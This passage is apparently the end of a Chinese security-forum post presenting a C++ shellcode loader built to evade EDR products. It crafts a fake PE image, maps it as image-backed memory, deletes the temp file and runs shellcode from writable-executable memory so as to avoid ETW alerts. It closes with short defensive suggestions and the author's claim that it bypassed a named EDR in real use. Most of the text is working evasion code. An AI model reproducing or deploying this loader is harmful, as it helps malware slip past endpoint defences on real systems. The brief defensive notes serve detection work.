            sh[4].Misc.VirtualSize = static_cast<DWORD>(shellcodeSize);
            sh[4].VirtualAddress = kScRva;
            sh[4].SizeOfRawData = scRaw;
            sh[4].PointerToRawData = scRawOff;
            sh[4].Characteristics = IMAGE_SCN_CNT_CODE |
                IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;

            std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh) + sizeof(oh), sh, sizeof(sh));

            return true;
        }

    } // namespace

    // ============================================================================
    // Load and execute shellcode in a fresh IMAGE-backed memory region
    // (VirtualQuery Type == MEM_IMAGE). The shellcode is written into the mapped
    // .text section AFTER the mapping is established; the transient temp file is
    // deleted before that and never contains the shellcode. After the deletion
    // the system ntdll.dll is copied over the mapped module address so the region
    // reads like a real ntdll.dll module (shellcode then lands in its .text).
    // ============================================================================
    bool LoadShellcode_x(char* ShellcodeInfo, size_t Size) {


        // -----------------------------------------------------------------------
        // Step 1: Validate input
        // -----------------------------------------------------------------------
        if (ShellcodeInfo == nullptr || Size == 0) {
            return false;
        }

        // -----------------------------------------------------------------------
        // Step 2: Build the empty host PE and pick a free image base
        // -----------------------------------------------------------------------
        const DWORD imageSize = AlignUp(kScRva + static_cast<DWORD>(Size), kSectionAlignment);
        const uintptr_t imageBase = FindFreeImageBase(imageSize);
        if (imageBase == 0) {
            return false;
        }

        std::vector<uint8_t> pe;
        if (!BuildHostPe(Size, imageBase, pe)) {
            return false;
        }

        // -----------------------------------------------------------------------
        // Step 3: Write the empty host PE to a transient temp file
        // -----------------------------------------------------------------------
        wchar_t tempPath[MAX_PATH];
        if (GetTempPathW(MAX_PATH, tempPath) == 0) {

            return false;
        }

        wchar_t tempFile[MAX_PATH];
        if (GetTempFileNameW(tempPath, L"", 0, tempFile) == 0) {

            return false;
        }

        HANDLE hFile = CreateFileW(tempFile, GENERIC_READ | GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);
        if (hFile == INVALID_HANDLE_VALUE) {

            DeleteFileW(tempFile);
            return false;
        }

        DWORD written = 0;
        const BOOL wrote = WriteFile(hFile, pe.data(), static_cast<DWORD>(pe.size()), &written, NULL);
        CloseHandle(hFile);
        if (!wrote || written != pe.size()) {

            DeleteFileW(tempFile);
            return false;
        }

        // -----------------------------------------------------------------------
        // Step 4: Reopen with execute access (required for SEC_IMAGE)
        // -----------------------------------------------------------------------
        HANDLE hImg = CreateFileW(tempFile, GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hImg == INVALID_HANDLE_VALUE) {
            hImg = CreateFileW(tempFile, GENERIC_READ, FILE_SHARE_READ,
                NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        }
        if (hImg == INVALID_HANDLE_VALUE) {

            DeleteFileW(tempFile);
            return false;
        }

        // -----------------------------------------------------------------------
        // Step 5: Create an IMAGE section from the host PE (SEC_IMAGE)
        // -----------------------------------------------------------------------
        HANDLE hSection = NULL;
        NTSTATUS status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
            PAGE_READONLY, kSecImage, hImg);
        if (status != 0 || hSection == NULL) {
            LogNtStatus("NtCreateSection", status);
            CloseHandle(hImg);
            DeleteFileW(tempFile);
            return false;
        }

        // -----------------------------------------------------------------------
        // Step 6: Release the file handle (the section keeps the file alive)
        // -----------------------------------------------------------------------
        CloseHandle(hImg);

        // -----------------------------------------------------------------------
        // Step 7: Map the image into the current process
        // -----------------------------------------------------------------------
        PVOID imageBaseMapped = NULL;
        SIZE_T viewSize = 0;
        status = NtMapViewOfSection(hSection, GetCurrentProcess(), &imageBaseMapped,
            0, 0, NULL, &viewSize, static_cast<SECTION_INHERIT>(kViewUnmap),
            0, PAGE_EXECUTE_READ);
        if (status != 0 || imageBaseMapped == NULL) {
            LogNtStatus("NtMapViewOfSection", status);
            NtClose(hSection);
            DeleteFileW(tempFile);
            return false;
        }

        // -----------------------------------------------------------------------
        // Step 8: Mapping established - delete the temp file now. It never
        // contained the shellcode (only the empty host PE).
        // -----------------------------------------------------------------------
        DeleteFileW(tempFile);
    
        // -----------------------------------------------------------------------
        // Step 9: Verify the mapping really is IMAGE-backed memory
        // -----------------------------------------------------------------------
        MEMORY_BASIC_INFORMATION mbi = {};
        if (VirtualQuery(imageBaseMapped, &mbi, sizeof(mbi)) == 0 || mbi.Type != MEM_IMAGE) {
            NtUnmapViewOfSection(GetCurrentProcess(), imageBaseMapped);
            NtClose(hSection);
            return false;
        }

        char buf[192];
        snprintf(buf, sizeof(buf), "shellcode_x mapped at %p size=%zu type=MEM_IMAGE",
            imageBaseMapped, viewSize);

        // -----------------------------------------------------------------------
        // Step 10: Write the shellcode into the mapped .text section. It is
        // PAGE_EXECUTE_WRITECOPY at map time (declared EXECUTE|READ|WRITE in the
        // crafted PE), so the write needs no protection change.
        // -----------------------------------------------------------------------
        void* codeSection = reinterpret_cast<void*>(
            reinterpret_cast<uintptr_t>(imageBaseMapped) + kScRva);
        std::memcpy(codeSection, ShellcodeInfo, Size);
        FlushInstructionCache(GetCurrentProcess(), codeSection, Size);

        // -----------------------------------------------------------------------
        // Step 11: Execute the entry (SEH-guarded). No protection change: .text is
        // already PAGE_EXECUTE_WRITECOPY (writable AND executable) from the map.
        // Protection changes on IMAGE-backed executable memory are exactly what
        // kernel ETW flags as critical memory corruption, so none is performed.
        // -----------------------------------------------------------------------
        void* entry = codeSection; // == base + AddressOfEntryPoint
        const DWORD crashCode = RunShellcode(entry);
        const bool success = (crashCode == 0);
        if (!success) {
            char excBuf[64];
            snprintf(excBuf, sizeof(excBuf), "shellcode_x crashed with exception 0x%08lX", crashCode);
        }

        // -----------------------------------------------------------------------
        // Step 12: Cleanup
        // -----------------------------------------------------------------------
        NtUnmapViewOfSection(GetCurrentProcess(), imageBaseMapped);
        NtClose(hSection);

        return success;
    }

    // ============================================================================
    // Wrapper used by plugin / SHELLCODE_RUN dispatch paths
    // ============================================================================
    bool LoadShellcode_x(const uint8_t* code, size_t size, std::string& error) {
        if (code == nullptr || size == 0) {
            error = "shellcode buffer is empty";
            return false;
        }
        const bool ok = LoadShellcode_x(const_cast<char*>(reinterpret_cast<const char*>(code)), size);
        if (!ok && error.empty()) {
            error = "shellcode_x loader failed";
        }
        return ok;
    }

} // namespace beacon

int main() {
    beacon::LoadShellcode_x((char*)rawData, (size_t)sizeof(rawData));

}

· 防御建议

  1. 如文章所写的,他会有IMAGE的EXECUTE_READWRITE,NtMapViewOfSection时就应该扫内存结构了,不过如果NGAV还是对文件节属性不敏感的话,稍微变体是可以很好的绕过这一个EXECUTE_READWRITE的监测点的

  2. 加强对PE结构的验证,这个自构建的PE如果处理不好的话会缺少一堆东西,当然如果自构建的处理的好的话,PE结构验证还是很容易绕过的

· 实战截图

审核大大觉得这是AI生成的技术,实则不是,只是POC代码是AI写的,那我补上几个实战截图吧。

HMPA 正常上线,并且模块下发的功能也是加载器加载的,正常使用,并且用POC正常加载SHELLCODE(这个版本已知确实有防御SHELLCODE LOADER的能力):

· 后记

本质上就是抓住NGAV对文件节属性不敏感的特点,过于依赖内存API的监控,而不在意文件的监控,文件监控基本而且从完全无文件变成了废文件创建。

仅测试过云镜EDR,这个手法是可以绕过的,其他的NGAV我觉得这个方法也可以绕过。

本人先知论坛新人写手,请多多关照。

o(* ̄▽ ̄*)ブ